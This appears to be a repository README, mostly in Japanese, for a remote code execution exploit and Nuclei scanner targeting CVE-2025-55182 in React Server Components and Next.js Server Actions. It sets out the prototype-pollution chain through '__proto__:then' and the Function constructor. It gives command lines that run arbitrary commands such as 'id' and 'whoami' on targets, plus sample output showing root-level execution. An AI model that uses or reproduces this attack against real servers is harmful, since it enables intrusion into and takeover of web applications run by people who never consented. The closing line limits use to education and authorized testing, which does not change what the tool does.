
CVE-2025-55182 - React Server Components RCE Exploit & Scanner Supports external servers and CLI interface
React/Next.js Server Actions における CVE-2025-55182 のフル機能のリモートコード実行エクスプロイトおよびスキャナー。
元のPoC: Spritualkb/CVE-2025-55182-exp
CVE-2025-55182 は、React Server Components における重大なプロトタイプ汚染の脆弱性であり、リモートコード実行を可能にします。このリポジトリは、自動スキャン(Nuclei テンプレート)と手動エクスプロイト(Python スクリプト)の両方のツールを提供します。
脆弱性の仕組み:
エクスプロイトは、React Flight Protocol のデシリアライズにおけるプロトタイプ汚染を利用します。"$1:__proto__:then" を介して Object.prototype.then を汚染し、_formData.get を "$1:constructor:constructor" に設定して Function コンストラクタへのアクセスを取得し、その後 _prefix を介して悪意のあるコードを注入し、Function() によって実行されます。
cve-2025-55182.yaml)id コマンドを実行し、X-Action-Redirect ヘッダーを介して出力を取得する自動脆弱性スキャナー。
使用方法:
nuclei -u http://target.com:3000 -t cve-2025-55182.yaml
特徴:
id)を実行して RCE を確認CVE-2025-55182.py)任意のコマンドを実行し出力を取得するフル機能の RCE エクスプロイトスクリプト。
使用方法:
python3 CVE-2025-55182.py http://target.com:3000 -c "id"
python3 CVE-2025-55182.py https://target.com -c "whoami" --no-check-ssl
python3 CVE-2025-55182.py 192.168.1.100:3000 -c "uname -a"
特徴:
X-Action-Redirect ヘッダーからの自動出力抽出$ nuclei -u http://localhost:3001 -t cve-2025-55182.yaml
[cve-2025-55182:command_output] [http] [critical] http://localhost:3001 ["uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"]
[INF] Scan completed in 28.35483ms. 1 matches found.
$ python3 CVE-2025-55182.py http://localhost:3001 -c "id"
============================================================
CVE-2025-55182 RCE Exploit
React Server Components Remote Code Execution
============================================================
[*] Target: http://localhost:3001
[*] Command: id
[*] Building payload...
[*] Sending exploit payload...
============================================================
[+] Command executed successfully!
============================================================
[+] Command Output:
------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
------------------------------------------------------------
============================================================
[*] Exploitation attempt completed
============================================================
教育および許可されたテスト目的にのみ使用してください